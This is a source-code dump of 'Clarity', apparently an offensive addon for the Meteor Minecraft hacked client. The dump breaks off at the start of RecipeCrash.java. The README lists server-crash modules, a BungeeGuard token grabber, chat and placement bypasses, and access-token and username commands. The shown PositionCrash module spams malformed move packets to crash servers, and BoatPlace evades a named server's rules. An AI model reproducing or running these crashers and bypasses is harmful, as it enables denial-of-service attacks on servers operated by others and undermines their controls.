├── .gitattributes
├── gradle
    └── wrapper
    │   ├── gradle-wrapper.jar
    │   └── gradle-wrapper.properties
├── src
    └── main
    │   ├── resources
    │       ├── assets
    │       │   └── clarity
    │       │   │   └── textures
    │       │   │       ├── icon.png
    │       │   │       └── clarity-chan.png
    │       ├── clarity.mixins.json
    │       └── fabric.mod.json
    │   └── java
    │       └── com
    │           └── x310
    │               └── clarity
    │                   ├── modules
    │                       ├── BungeeGuard.java
    │                       ├── ChannelFetch.java
    │                       ├── PacketCharge.java
    │                       ├── PacketLogger.java
    │                       ├── crashers
    │                       │   ├── PositionCrash.java
    │                       │   ├── RecipeCrash.java
    │                       │   ├── SkillCrash.java
    │                       │   ├── VelocityCrash.java
    │                       │   ├── OhioCrash.java
    │                       │   ├── PaperOOMCrash.java
    │                       │   └── SkillCrash2.java
    │                       ├── BoatPlace.java
    │                       ├── ChatBypass.java
    │                       ├── PacketDelay.java
    │                       ├── BetterBoatFly.java
    │                       ├── ClarityNametags.java
    │                       └── BoatUAV.java
    │                   ├── mixin
    │                       ├── ClientPlayerEntityMixin.java
    │                       ├── ClientConnectionMixin.java
    │                       ├── EntityRendererMixin.java
    │                       └── LoginHandlerMixin.java
    │                   ├── commands
    │                       ├── SafeDisconnect.java
    │                       ├── GetAccessToken.java
    │                       ├── ClickSlot.java
    │                       └── ChangeUsername.java
    │                   ├── utils
    │                       └── payload
    │                       │   └── PaperCustomPayload.java
    │                   ├── hud
    │                       ├── ClarityChan.java
    │                       ├── Logo.java
    │                       ├── Watermark.java
    │                       └── Arraylist.java
    │                   ├── netty
    │                       └── ClientPayloadPacketDecoder.java
    │                   └── Main.java
├── settings.gradle.kts
├── .editorconfig
├── gradle.properties
├── .gitignore
├── .github
    └── workflows
    │   ├── pull_request.yml
    │   └── dev_build.yml
├── README.md
├── gradlew.bat
├── LICENSE
└── gradlew


/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 | 


--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ck-clarity/addon/HEAD/gradle/wrapper/gradle-wrapper.jar


--------------------------------------------------------------------------------
/src/main/resources/assets/clarity/textures/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ck-clarity/addon/HEAD/src/main/resources/assets/clarity/textures/icon.png


--------------------------------------------------------------------------------
/src/main/resources/assets/clarity/textures/clarity-chan.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ck-clarity/addon/HEAD/src/main/resources/assets/clarity/textures/clarity-chan.png


--------------------------------------------------------------------------------
/settings.gradle.kts:
--------------------------------------------------------------------------------
 1 | pluginManagement {
 2 |     repositories {
 3 |         maven {
 4 |             name = "Fabric"
 5 |             url = uri("https://maven.fabricmc.net/")
 6 |         }
 7 |         mavenCentral()
 8 |         gradlePluginPortal()
 9 |     }
10 | }
11 | 


--------------------------------------------------------------------------------
/.editorconfig:
--------------------------------------------------------------------------------
 1 | [*]
 2 | charset = utf-8
 3 | indent_style = space
 4 | insert_final_newline = true
 5 | trim_trailing_whitespace = true
 6 | indent_size = 4
 7 | ij_continuation_indent_size = 4
 8 | 
 9 | [*.{json, yml}]
10 | indent_size = 2
11 | 
12 | [*.md]
13 | trim_trailing_whitespace = false
14 | 


--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | distributionBase=GRADLE_USER_HOME
2 | distributionPath=wrapper/dists
3 | distributionUrl=https\://services.gradle.org/distributions/gradle-8.12-bin.zip
4 | networkTimeout=10000
5 | validateDistributionUrl=true
6 | zipStoreBase=GRADLE_USER_HOME
7 | zipStorePath=wrapper/dists
8 | 


--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
 1 | org.gradle.jvmargs=-Xmx2G
 2 | 
 3 | # Fabric Properties (https://fabricmc.net/develop)
 4 | minecraft_version=1.21.4
 5 | yarn_mappings=1.21.4+build.7
 6 | loader_version=0.16.9
 7 | 
 8 | # Mod Properties
 9 | mod_version=0.3.5
10 | maven_group=com.x310
11 | archives_base_name=clarity
12 | 
13 | # Dependencies
14 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
 1 | # gradle
 2 | 
 3 | .gradle/
 4 | build/
 5 | out/
 6 | classes/
 7 | 
 8 | # eclipse
 9 | 
10 | *.launch
11 | 
12 | # idea
13 | 
14 | .idea/
15 | *.iml
16 | *.ipr
17 | *.iws
18 | 
19 | # vscode
20 | 
21 | .settings/
22 | .vscode/
23 | bin/
24 | .classpath
25 | .project
26 | 
27 | # macos
28 | 
29 | *.DS_Store
30 | 
31 | # fabric
32 | 
33 | run/
34 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/BungeeGuard.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.systems.modules.Module;
 5 | 
 6 | public class BungeeGuard extends Module {
 7 | 
 8 |     public BungeeGuard() {
 9 |         super(Main.CATEGORY, "BungeeGuard", "Gets the BungeeGuard Token from a server");
10 |     }
11 | 
12 | }
13 | 


--------------------------------------------------------------------------------
/src/main/resources/clarity.mixins.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "required": true,
 3 |   "package": "com.x310.clarity.mixin",
 4 |   "compatibilityLevel": "JAVA_21",
 5 |   "client": [
 6 |     "ClientPlayerEntityMixin",
 7 |     "EntityRendererMixin"
 8 |   ],
 9 |   "injectors": {
10 |     "defaultRequire": 1
11 |   },
12 |   "mixins": [
13 |     "ClientConnectionMixin",
14 |     "LoginHandlerMixin"
15 |   ]
16 | }
17 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/ChannelFetch.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.systems.modules.Module;
 5 | 
 6 | public class ChannelFetch extends Module {
 7 | 
 8 |     public ChannelFetch() {
 9 |         super(Main.CATEGORY, "Channel Fetcher", "gets the current open channels in the minecraft server");
10 |     }
11 | 
12 | }
13 | 


--------------------------------------------------------------------------------
/src/main/resources/fabric.mod.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "schemaVersion": 1,
 3 |   "id": "clarity",
 4 |   "version": "${version}",
 5 |   "name": "clarity",
 6 |   "description": "clarity addon for Meteor Client.",
 7 |   "authors": [
 8 |     "x310"
 9 |   ],
10 |   "contact": {
11 |     "repo": "https://github.com/Renovsk"
12 |   },
13 |   "icon": "assets/clarity/textures/icon.png",
14 |   "environment": "client",
15 |   "entrypoints": {
16 |     "meteor": [
17 |       "com.x310.clarity.Main"
18 |     ]
19 |   },
20 |   "mixins": [
21 |     "clarity.mixins.json"
22 |   ],
23 |   "custom": {
24 |     "meteor-client:color": "177,205,255"
25 |   },
26 |   "depends": {
27 |     "java": ">=21",
28 |     "minecraft": ["${mc_version}"],
29 |     "meteor-client": "*"
30 |   }
31 | }
32 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/mixin/ClientPlayerEntityMixin.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.mixin;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.utils.player.ChatUtils;
 5 | import net.minecraft.client.network.ClientPlayerEntity;
 6 | import org.spongepowered.asm.mixin.Mixin;
 7 | import org.spongepowered.asm.mixin.injection.At;
 8 | import org.spongepowered.asm.mixin.injection.Inject;
 9 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
10 | 
11 | @Mixin(ClientPlayerEntity.class)
12 | public abstract class ClientPlayerEntityMixin {
13 |     @Inject(method = "tick", at = @At("TAIL"))
14 |     public void tick(CallbackInfo ci) {
15 |         Main.delayedMessages.forEach(ChatUtils::info);
16 |         Main.delayedMessages.clear();
17 |     }
18 | }
19 | 


--------------------------------------------------------------------------------
/.github/workflows/pull_request.yml:
--------------------------------------------------------------------------------
 1 | name: Build Pull Request Artifacts
 2 | on: pull_request
 3 | 
 4 | jobs:
 5 |   build:
 6 |     runs-on: ubuntu-latest
 7 | 
 8 |     steps:
 9 |       - name: Checkout Repository
10 |         uses: actions/checkout@v4
11 |         with:
12 |             persist-credentials: false
13 | 
14 |       - name: Wrapper Validation
15 |         uses: gradle/actions/wrapper-validation@v4
16 | 
17 |       - name: Set up Gradle
18 |         uses: gradle/actions/setup-gradle@v4
19 | 
20 |       - name: Set up Java
21 |         uses: actions/setup-java@v4
22 |         with:
23 |           distribution: 'temurin'
24 |           java-version: 21
25 | 
26 |       - name: Build with Gradle
27 |         run: ./gradlew build
28 | 
29 |       - name: Release
30 |         uses: actions/upload-artifact@v4
31 |         with:
32 |           name: Artifacts
33 |           path: build/libs/
34 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/commands/SafeDisconnect.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.commands;
 2 | 
 3 | import com.mojang.brigadier.builder.LiteralArgumentBuilder;
 4 | import meteordevelopment.meteorclient.commands.Command;
 5 | import net.minecraft.client.network.ClientPlayNetworkHandler;
 6 | import net.minecraft.command.CommandSource;
 7 | import net.minecraft.network.packet.c2s.common.KeepAliveC2SPacket;
 8 | 
 9 | public class SafeDisconnect extends Command {
10 |     public SafeDisconnect() {
11 |         super("safedisconnect", "Disconnect by sending a keepalive packet with -1 value");
12 |     }
13 | 
14 |     @Override
15 |     public void build(LiteralArgumentBuilder<CommandSource> builder) {
16 |         builder.executes(context -> {
17 |             ClientPlayNetworkHandler handler = mc.getNetworkHandler();
18 |             assert handler != null;
19 |             handler.sendPacket(new KeepAliveC2SPacket(-1));
20 |             return SINGLE_SUCCESS;
21 | 
22 |         });
23 |     }
24 | }
25 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/PacketCharge.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.packets.PacketEvent;
 5 | import meteordevelopment.meteorclient.systems.modules.Module;
 6 | import meteordevelopment.orbit.EventHandler;
 7 | import meteordevelopment.orbit.EventPriority;
 8 | import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
 9 | 
10 | public class PacketCharge extends Module {
11 | 
12 |     public PacketCharge() {
13 |         super(Main.CATEGORY, "Packet Charge", "Charges your packets as long as you\'re not moving");
14 |     }
15 | 
16 |     @EventHandler(priority = EventPriority.HIGHEST + 1)
17 |     public static void onSendPacket(PacketEvent.Send event) {
18 |         if (event.packet instanceof PlayerMoveC2SPacket.OnGroundOnly
19 |             || event.packet instanceof PlayerMoveC2SPacket.PositionAndOnGround) {
20 |             event.cancel();
21 |         }
22 |     }
23 | 
24 | }
25 | 
26 | 


--------------------------------------------------------------------------------
/.github/workflows/dev_build.yml:
--------------------------------------------------------------------------------
 1 | name: Publish Development Build
 2 | on: push
 3 | 
 4 | jobs:
 5 |   build:
 6 |     runs-on: ubuntu-latest
 7 | 
 8 |     steps:
 9 |       - name: Checkout Repository
10 |         uses: actions/checkout@v4
11 |         with:
12 |             persist-credentials: false
13 | 
14 |       - name: Set up Gradle
15 |         uses: gradle/actions/setup-gradle@v4
16 | 
17 |       - name: Set up Java
18 |         uses: actions/setup-java@v4
19 |         with:
20 |           distribution: 'temurin'
21 |           java-version: 21
22 | 
23 |       - name: Grant execute permission for gradlew
24 |         run: chmod +x ./gradlew
25 | 
26 |       - name: Build with Gradle
27 |         run: ./gradlew build
28 | 
29 |       - name: Release
30 |         uses: marvinpinto/action-automatic-releases@latest
31 |         with:
32 |           repo_token: '${{ secrets.GITHUB_TOKEN }}'
33 |           automatic_release_tag: snapshot
34 |           prerelease: true
35 |           title: Dev Build
36 |           files: |
37 |             ./build/libs/*.jar
38 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/utils/payload/PaperCustomPayload.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.utils.payload;
 2 | 
 3 | import net.minecraft.network.PacketByteBuf;
 4 | import net.minecraft.network.codec.PacketCodec;
 5 | import net.minecraft.network.packet.CustomPayload;
 6 | import net.minecraft.util.Identifier;
 7 | 
 8 | public record PaperCustomPayload(byte[] data) implements CustomPayload {
 9 | 
10 |     public static final PacketCodec<PacketByteBuf, PaperCustomPayload> CODEC = CustomPayload.codecOf(PaperCustomPayload::write, PaperCustomPayload::new);
11 |     public static final CustomPayload.Id<PaperCustomPayload> ID = new Id<>(Identifier.of("paper", "issue"));
12 | 
13 |     public PaperCustomPayload(byte[] data) {
14 |         this.data = data;
15 |     }
16 | 
17 |     public PaperCustomPayload(PacketByteBuf buf) {
18 |         this(buf.readByteArray());
19 |     }
20 | 
21 |     private void write(PacketByteBuf buf) {
22 |         buf.writeBytes(data);
23 |     }
24 | 
25 |     @Override
26 |     public CustomPayload.Id<? extends  CustomPayload> getId() {
27 |         return ID;
28 |     }
29 | 
30 | }
31 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | <h1 align="center">
 2 |   <img src="https://files.catbox.moe/dbjszf.png" alt="Header Image" style="width:30%; max-width:600px;"/>
 3 | </h1>
 4 | 
 5 | 
 6 | # Clarity Addon
 7 | This is an addon for meteor 1.21.4
 8 | <h1 align="center">
 9 |   <img src="https://files.catbox.moe/0iu0uw.png" alt="Header Image" style="width:100%; max-width:600px;"/>
10 | </h1>
11 | 
12 | # Features
13 | ## Modules
14 | - Minehut Crash
15 | - Recipe Crash
16 | - Skill Crash
17 | - Velocity Crash
18 | - Position Spam
19 | - PaperOOM Crash
20 | - BetterBoatFly
21 | - BoatPlace
22 | - BoatUAV
23 | - BungeeGuard
24 | - Channel Fetcher
25 | - Chat Bypass
26 | - Claritytags
27 | - Packet Charge
28 | - Packet Delay
29 | - Packet Logger
30 | 
31 | 
32 | ## Commands
33 | - `clickslot <slot> <button> <count> <type>`
34 | - `changeusername <accesstoken> <username>`
35 | - `getaccesstoken`
36 | - `safedisconnect`
37 | 
38 | ## HUD
39 | - Clarity-Chan
40 | - Clarity Arraylist
41 | - Watermark
42 | - Logo
43 | 
44 | 
45 | ## Credits
46 | - Addon made by @x5ten on discord
47 | - Exploits and Crashes found by the clarity team
48 | - [Join us!](https://discord.gg/JKDKbfc5mu)
49 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/mixin/ClientConnectionMixin.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.mixin;
 2 | 
 3 | import com.x310.clarity.netty.ClientPayloadPacketDecoder;
 4 | import io.netty.channel.ChannelPipeline;
 5 | import io.netty.channel.socket.SocketChannel;
 6 | import net.minecraft.network.ClientConnection;
 7 | import net.minecraft.network.NetworkSide;
 8 | import net.minecraft.network.handler.HandlerNames;
 9 | import net.minecraft.network.handler.PacketSizeLogger;
10 | import org.spongepowered.asm.mixin.Mixin;
11 | import org.spongepowered.asm.mixin.injection.At;
12 | import org.spongepowered.asm.mixin.injection.Inject;
13 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
14 | 
15 | @Mixin(value = ClientConnection.class, priority = 1001)
16 | public class ClientConnectionMixin {
17 |     @Inject(method = "addHandlers", at = @At("RETURN"))
18 |     private static void onAddHandlers(ChannelPipeline pipeline, NetworkSide side, boolean local, PacketSizeLogger packetSizeLogger, CallbackInfo ci) {
19 |         if (pipeline.channel() instanceof SocketChannel) {
20 |             pipeline.addBefore(HandlerNames.INBOUND_CONFIG , "clarity-decoder", new ClientPayloadPacketDecoder());
21 |         }
22 |     }
23 | }
24 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/commands/GetAccessToken.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.commands;
 2 | 
 3 | import com.mojang.brigadier.builder.LiteralArgumentBuilder;
 4 | import meteordevelopment.meteorclient.commands.Command;
 5 | import net.minecraft.command.CommandSource;
 6 | import net.minecraft.text.ClickEvent;
 7 | import net.minecraft.text.HoverEvent;
 8 | import net.minecraft.text.Text;
 9 | 
10 | public class GetAccessToken extends Command {
11 |     public GetAccessToken() {
12 |         super("getaccesstoken", "Get access token.");
13 |     }
14 | 
15 |     @Override
16 |     public void build(LiteralArgumentBuilder<CommandSource> builder) {
17 |         builder.executes(context -> {
18 |             String accessToken = mc.getSession().getAccessToken();
19 |             Text accessTokenText = Text.literal("Access Token: " + "[Click here to copy]")
20 |                 .setStyle(Text.literal("").getStyle()
21 |                     .withClickEvent(new ClickEvent(ClickEvent.Action.COPY_TO_CLIPBOARD, accessToken))
22 |                     .withHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, Text.literal("Copy to clipboard"))));
23 |             info(accessTokenText);
24 |             return SINGLE_SUCCESS;
25 |         });
26 |     }
27 | }
28 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/hud/ClarityChan.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.hud;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.settings.IntSetting;
 5 | import meteordevelopment.meteorclient.settings.Setting;
 6 | import meteordevelopment.meteorclient.settings.SettingGroup;
 7 | import meteordevelopment.meteorclient.systems.hud.HudElement;
 8 | import meteordevelopment.meteorclient.systems.hud.HudElementInfo;
 9 | import meteordevelopment.meteorclient.systems.hud.HudRenderer;
10 | import meteordevelopment.meteorclient.utils.render.color.Color;
11 | import net.minecraft.util.Identifier;
12 | 
13 | public class ClarityChan extends HudElement {
14 |     private final Identifier TEXTURE = Identifier.of("clarity", "textures/clarity-chan.png");
15 |     private final SettingGroup sgGeneral = settings.getDefaultGroup();
16 | 
17 |     private final Setting<Integer> size = sgGeneral.add(new IntSetting.Builder()
18 |         .name("Size")
19 |         .description("size in ohio 💀💀💀")
20 |         .defaultValue(100)
21 |         .min(1)
22 |         .max(800)
23 |         .sliderMax(800)
24 |         .build()
25 |     );
26 | 
27 |     public static final HudElementInfo<ClarityChan> INFO = new HudElementInfo<>(
28 |         Main.HUD_GROUP, "ClarityChan", "Renders clarity-chan", ClarityChan::new);
29 | 
30 |     public ClarityChan() {
31 |         super(INFO);
32 |     }
33 | 
34 | 
35 |     @Override
36 |     public void render(HudRenderer renderer) {
37 |         setSize(renderer.textWidth("Test"), 60);
38 |         renderer.texture(TEXTURE, x, y, size.get() * 1.5, size.get(), Color.WHITE);
39 |     }
40 | }
41 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/PacketLogger.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.packets.PacketEvent;
 5 | import meteordevelopment.meteorclient.settings.BoolSetting;
 6 | import meteordevelopment.meteorclient.settings.Setting;
 7 | import meteordevelopment.meteorclient.settings.SettingGroup;
 8 | import meteordevelopment.meteorclient.systems.modules.Module;
 9 | import meteordevelopment.meteorclient.utils.player.ChatUtils;
10 | import meteordevelopment.orbit.EventHandler;
11 | 
12 | public class PacketLogger extends Module {
13 |     private final SettingGroup sgGeneral = settings.createGroup("General");
14 | 
15 |     private final Setting<Boolean> incoming = sgGeneral.add(new BoolSetting.Builder()
16 |         .name("incoming")
17 |         .description("Logs incoming packets.")
18 |         .defaultValue(true)
19 |         .build()
20 |     );
21 | 
22 |     private final Setting<Boolean> outgoing = sgGeneral.add(new BoolSetting.Builder()
23 |         .name("outgoing")
24 |         .description("Logs outgoing packets.")
25 |         .defaultValue(true)
26 |         .build()
27 |     );
28 | 
29 |     public PacketLogger() {
30 |         super(Main.CATEGORY, "Packet Logger", "Logs incoming and outgoing packets.");
31 |     }
32 | 
33 |     @EventHandler
34 |     private void onReceive(PacketEvent.Receive event) {
35 |         if (incoming.get()) ChatUtils.info("[Incoming] " + event.packet);
36 |     }
37 | 
38 |     @EventHandler
39 |     private void onSend(PacketEvent.Send event) {
40 |         if (outgoing.get()) ChatUtils.info("[Outgoing] " + event.packet);
41 |     }
42 | }
43 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/hud/Logo.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.hud;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.settings.IntSetting;
 5 | import meteordevelopment.meteorclient.settings.Setting;
 6 | import meteordevelopment.meteorclient.settings.SettingGroup;
 7 | import meteordevelopment.meteorclient.systems.hud.HudElement;
 8 | import meteordevelopment.meteorclient.systems.hud.HudElementInfo;
 9 | import meteordevelopment.meteorclient.systems.hud.HudRenderer;
10 | import meteordevelopment.meteorclient.utils.render.color.Color;
11 | import net.minecraft.util.Identifier;
12 | 
13 | public class Logo extends HudElement {
14 |     private final Identifier TEXTURE = Identifier.of("clarity", "textures/icon.png");
15 |     private final SettingGroup sgGeneral = settings.getDefaultGroup();
16 | 
17 |     private final Setting<Integer> size = sgGeneral.add(new IntSetting.Builder()
18 |         .name("Size")
19 |         .description("size in ohio 💀💀💀")
20 |         .defaultValue(100)
21 |         .min(1)
22 |         .max(256)
23 |         .sliderMax(256)
24 |         .build()
25 |     );
26 | 
27 |     public static final HudElementInfo<Logo> INFO = new HudElementInfo<>(
28 |         Main.HUD_GROUP, "Logo", "Renders the Clarity logo", Logo::new);
29 | 
30 |     public Logo() {
31 |         super(INFO);
32 |     }
33 | 
34 | 
35 |     @Override
36 |     public void render(HudRenderer renderer) {
37 |         setSize(renderer.textWidth("Test"), 60);
38 |         renderer.texture(TEXTURE, x, y, size.get(), size.get(), Color.WHITE);
39 |         renderer.text("clarity.gay", x + ((double) size.get() / 2) - (renderer.textWidth("clarity.gay") / 2), y + size.get(), Color.WHITE, true);
40 |     }
41 | }
42 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/netty/ClientPayloadPacketDecoder.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.netty;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import com.x310.clarity.modules.ChannelFetch;
 5 | import io.netty.buffer.ByteBuf;
 6 | import io.netty.channel.ChannelHandlerContext;
 7 | import io.netty.handler.codec.MessageToMessageDecoder;
 8 | import meteordevelopment.meteorclient.systems.modules.Modules;
 9 | import net.minecraft.network.PacketByteBuf;
10 | 
11 | import java.nio.charset.Charset;
12 | import java.util.List;
13 | import java.util.Objects;
14 | 
15 | public class ClientPayloadPacketDecoder extends MessageToMessageDecoder<ByteBuf> {
16 |     @Override
17 |     protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
18 |         if (Modules.get().get(ChannelFetch.class).isActive()) {
19 |             PacketByteBuf b = new PacketByteBuf(ctx.alloc().buffer().writeBytes(in));
20 |             if (b.readVarInt() == 25) {
21 |                 decodePayload(b);
22 |             }
23 |         }
24 |         out.add(in.resetReaderIndex().retain());
25 |     }
26 | 
27 |     public void decodePayload(PacketByteBuf b) {
28 |         String channel = b.readString();
29 |         byte[] data = new byte[b.readableBytes()];
30 |         b.readBytes(data);
31 | 
32 |         if (Objects.equals(channel, "REGISTER") || Objects.equals(channel, "minecraft:register")) {
33 |             String channels = new String(data, Charset.defaultCharset());
34 |             String[] channelArray = channels.split("\000");
35 |             for (String s : channelArray) {
36 |                 Main.delayedMessages.add("Register: " + s);
37 |             }
38 |             return;
39 |         }
40 |         Main.delayedMessages.add("Channel: " + channel + " | Data: " + new String(data, Charset.defaultCharset()));
41 |     }
42 | }
43 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/mixin/EntityRendererMixin.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.mixin;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import com.x310.clarity.modules.ClarityNametags;
 5 | import meteordevelopment.meteorclient.systems.modules.Modules;
 6 | import net.minecraft.client.MinecraftClient;
 7 | import net.minecraft.client.RunArgs;
 8 | import net.minecraft.client.render.entity.EntityRenderer;
 9 | import net.minecraft.client.render.entity.state.EntityRenderState;
10 | import net.minecraft.entity.Entity;
11 | import net.minecraft.text.Text;
12 | import org.spongepowered.asm.mixin.Mixin;
13 | import org.spongepowered.asm.mixin.injection.At;
14 | import org.spongepowered.asm.mixin.injection.Inject;
15 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
16 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable;
17 | 
18 | /**
19 |  * Example Mixin class.
20 |  * For more resources, visit:
21 |  * <ul>
22 |  * <li><a href="https://fabricmc.net/wiki/tutorial:mixin_introduction">The FabricMC wiki</a></li>
23 |  * <li><a href="https://github.com/SpongePowered/Mixin/wiki">The Mixin wiki</a></li>
24 |  * <li><a href="https://github.com/LlamaLad7/MixinExtras/wiki">The MixinExtras wiki</a></li>
25 |  * <li><a href="https://jenkins.liteloader.com/view/Other/job/Mixin/javadoc/allclasses-noframe.html">The Mixin javadoc</a></li>
26 |  * <li><a href="https://github.com/2xsaiko/mixin-cheatsheet">The Mixin cheatsheet</a></li>
27 |  * </ul>
28 |  */
29 | @Mixin(EntityRenderer.class)
30 | public abstract class EntityRendererMixin<T extends Entity, S extends EntityRenderState> {
31 |     @Inject(method = "getDisplayName", at = @At("HEAD"), cancellable = true)
32 |     private void onRenderLabel(T entity, CallbackInfoReturnable<Text> cir) {
33 |         ClarityNametags nametags = Modules.get().get(ClarityNametags.class);
34 |         if (nametags.isActive()) { // example conditon
35 |             cir.setReturnValue(null);
36 |         }
37 |     }
38 | }
39 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/crashers/PositionCrash.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules.crashers;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.game.GameLeftEvent;
 5 | import meteordevelopment.meteorclient.events.world.TickEvent;
 6 | import meteordevelopment.meteorclient.settings.BoolSetting;
 7 | import meteordevelopment.meteorclient.settings.Setting;
 8 | import meteordevelopment.meteorclient.settings.SettingGroup;
 9 | import meteordevelopment.meteorclient.systems.modules.Module;
10 | import meteordevelopment.orbit.EventHandler;
11 | import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
12 | 
13 | import java.util.Random;
14 | 
15 | public class PositionCrash extends Module {
16 |     public PositionCrash() {
17 |         super(Main.CRASH_GROUP, "Position Spam", "Spams PlayerMoveC2SPackets.");
18 |     }
19 |     private final SettingGroup sg = settings.createGroup("Position Spam");
20 |     private final Setting<Boolean> disableOnLeave = sg.add(new BoolSetting.Builder()
21 |         .name("disable-on-leave")
22 |         .description("Disables spam when you leave a server.")
23 |         .defaultValue(true)
24 |         .build()
25 |     );
26 | 
27 |     @EventHandler
28 |     private void onGameLeft(GameLeftEvent event) {
29 |         if (disableOnLeave.get()) {
30 |             toggle();
31 |         }
32 |     }
33 | 
34 |     @EventHandler
35 |     private void onTick(TickEvent.Post event) {
36 |         if (mc.player == null || mc.getNetworkHandler() == null) return;
37 | 
38 |         Random random = new Random();
39 |         double x = mc.player.getX() + random.nextDouble();
40 |         double y = -10000 + random.nextDouble();
41 |         double z = mc.player.getZ() + random.nextDouble();
42 |         float yaw = mc.player.getYaw();
43 |         float pitch = mc.player.getPitch();
44 | 
45 |         mc.getNetworkHandler().sendPacket(new PlayerMoveC2SPacket.Full(x, y, z, yaw, pitch, true, false));
46 |     }
47 | }
48 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/BoatPlace.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.packets.PacketEvent;
 5 | import meteordevelopment.meteorclient.systems.modules.Module;
 6 | import meteordevelopment.meteorclient.utils.player.ChatUtils;
 7 | import meteordevelopment.orbit.EventHandler;
 8 | import net.minecraft.client.MinecraftClient;
 9 | import net.minecraft.item.Item;
10 | import net.minecraft.item.Items;
11 | import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
12 | import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket;
13 | import net.minecraft.util.Hand;
14 | import java.util.Random;
15 | 
16 | public class BoatPlace extends Module {
17 |     private static final MinecraftClient mc = MinecraftClient.getInstance();
18 |     private final Random random = new Random();
19 | 
20 |     public BoatPlace() {
21 |         super(Main.CATEGORY, "BoatPlace", "Bypass for placing boats on 6b6t.");
22 |     }
23 | 
24 |     @EventHandler
25 |     private void onSendPacket(PacketEvent.Send event) {
26 |         if (!(event.packet instanceof PlayerInteractBlockC2SPacket originalPacket)) return;
27 |         if (mc.player == null || mc.world == null || mc.player.networkHandler == null) {
28 |             ChatUtils.error("BoatPlace", "p/w/n handler is null.");
29 |             return;
30 |         }
31 | 
32 |         Item mainHandItem = mc.player.getMainHandStack().getItem();
33 |         if (!isBoatItem(mainHandItem)) return;
34 | 
35 |         event.cancel();
36 |         mc.player.networkHandler.sendPacket(new PlayerInteractItemC2SPacket(Hand.MAIN_HAND, 0, 0, -90));
37 |     }
38 | 
39 |     private boolean isBoatItem(Item item) {
40 |         return item == Items.OAK_BOAT || item == Items.SPRUCE_BOAT || item == Items.BIRCH_BOAT ||
41 |             item == Items.JUNGLE_BOAT || item == Items.ACACIA_BOAT || item == Items.DARK_OAK_BOAT ||
42 |             item == Items.MANGROVE_BOAT || item == Items.CHERRY_BOAT || item == Items.BAMBOO_RAFT;
43 |     }
44 | 
45 | }
46 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/crashers/RecipeCrash.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules.crashers;
 2 | 
